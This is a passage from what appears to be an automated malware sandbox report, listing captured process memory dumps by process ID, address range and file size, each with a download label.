memory/4104-235-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4116-226-0x0000000000000000-mapping.dmp

Download
memory/4116-266-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4116-272-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-243-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-223-0x0000000000000000-mapping.dmp

Download
memory/4196-274-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4272-295-0x0000000000000000-mapping.dmp

Download
memory/4308-177-0x0000000000000000-mapping.dmp

Download
memory/4420-221-0x0000000000000000-mapping.dmp

Download
memory/4420-257-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-238-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4504-178-0x0000000000000000-mapping.dmp

Download
memory/4520-306-0x0000000000000000-mapping.dmp

Download
memory/4552-315-0x0000000000000000-mapping.dmp

Download
memory/4644-160-0x0000000000000000-mapping.dmp

Download
memory/4672-192-0x0000000000000000-mapping.dmp

Download
memory/4704-211-0x0000000000000000-mapping.dmp

Download
memory/4708-262-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4708-217-0x0000000000000000-mapping.dmp

Download
memory/4708-230-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4724-176-0x0000000000000000-mapping.dmp

Download
memory/4732-175-0x0000000000000000-mapping.dmp

Download
memory/4748-296-0x0000000000000000-mapping.dmp

Download
memory/4784-203-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-198-0x00000000003E0000-0x00000000004EC000-memory.dmp

Filesize
1.0MB

Download
memory/4784-200-0x000000001CC10000-0x000000001CC60000-memory.dmp

Filesize
320KB

Download
memory/4784-234-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4784-195-0x0000000000000000-mapping.dmp

Download
memory/4820-236-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-260-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-216-0x0000000000000000-mapping.dmp

Download
memory/4856-139-0x00000000063B0000-0x00000000063E2000-memory.dmp

Filesize
200KB

Download
memory/4856-137-0x0000000005800000-0x0000000005866000-memory.dmp

Filesize
408KB

Download
memory/4856-142-0x0000000007720000-0x0000000007D9A000-memory.dmp

Filesize
6.5MB

Download
memory/4856-144-0x0000000007150000-0x000000000715A000-memory.dmp

Filesize
40KB

Download
memory/4856-133-0x0000000002A20000-0x0000000002A56000-memory.dmp

Filesize
216KB

Download
memory/4856-134-0x0000000005160000-0x0000000005788000-memory.dmp

Filesize
6.2MB

Download
memory/4856-135-0x0000000004F30000-0x0000000004F52000-memory.dmp

Filesize
136KB

Download
memory/4856-136-0x00000000050D0000-0x0000000005136000-memory.dmp

Filesize
408KB

Download
memory/4856-132-0x0000000000000000-mapping.dmp

Download
memory/4856-146-0x0000000007310000-0x000000000731E000-memory.dmp

Filesize
56KB

Download
memory/4856-138-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

Filesize
120KB

Download
memory/4856-141-0x0000000006390000-0x00000000063AE000-memory.dmp

Filesize
120KB

Download
memory/4856-140-0x000000006F160000-0x000000006F1AC000-memory.dmp

Filesize
304KB

Download
memory/4856-143-0x00000000070E0000-0x00000000070FA000-memory.dmp

Filesize
104KB

Download
memory/4856-147-0x0000000007420000-0x000000000743A000-memory.dmp

Filesize
104KB

Download
memory/4856-145-0x0000000007360000-0x00000000073F6000-memory.dmp

Filesize
600KB

Download
memory/4856-148-0x0000000007400000-0x0000000007408000-memory.dmp

Filesize
32KB

Download
memory/4924-186-0x0000000000000000-mapping.dmp

Download
memory/4936-331-0x000002E52D080000-0x000002E52D0A0000-memory.dmp

Filesize
128KB

Download
memory/4936-330-0x000002E52D040000-0x000002E52D080000-memory.dmp

Filesize
256KB

Download
memory/4936-332-0x000002E52D080000-0x000002E52D0A0000-memory.dmp

Filesize
128KB

Download
memory/4936-329-0x000002E52D000000-0x000002E52D020000-memory.dmp

Filesize
128KB

Download
memory/4936-287-0x0000000000000000-mapping.dmp

Download
memory/4992-247-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/4992-227-0x0000000000000000-mapping.dmp

Download
memory/4992-270-0x00007FFECE6F0000-0x00007FFECF1B1000-memory.dmp

Filesize
10.8MB

Download
memory/5208-316-0x0000000000000000-mapping.dmp

Download
memory/5208-318-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/5208-322-0x0000000000B40000-0x0000000001B99000-memory.dmp

Filesize
16.3MB

Download
memory/5216-231-0x0000000000000000-mapping.dmp

Download
memory/5248-302-0x00007FFECE810000-0x00007FFECF2D1000-memory.dmp

Filesize
10.8MB

Download
memory/5248-299-0x0000000000000000-mapping.dmp

Download
memory/5248-323-0x00007FFECE810000-0x00007FFECF2D1000-memory.dmp

Filesize
10.8MB

Download
memory/5248-324-0x000000001DD40000-0x000000001DF02000-memory.dmp

Filesize
1.8MB

Download
memory/5488-239-0x0000000000000000-mapping.dmp

Download
memory/5552-294-0x0000000000000000-mapping.dmp

Download
memory/5552-241-0x0000000000000000-mapping.dmp

Download
memory/5588-313-0x0000000000000000-mapping.dmp

Download
memory/5596-292-0x0000000000000000-mapping.dmp

Download
memory/5692-307-0x0000000000000000-mapping.dmp

Download
memory/5832-246-0x0000000000000000-mapping.dmp

Download
memory/5888-249-0x0000000000000000-mapping.dmp

Download
memory/5888-278-0x0000000073650000-0x000000007369C000-memory.dmp

Filesize
304KB

Download
memory/5932-309-0x0000000000000000-mapping.dmp

Download
memory/5940-308-0x0000000000000000-mapping.dmp

Download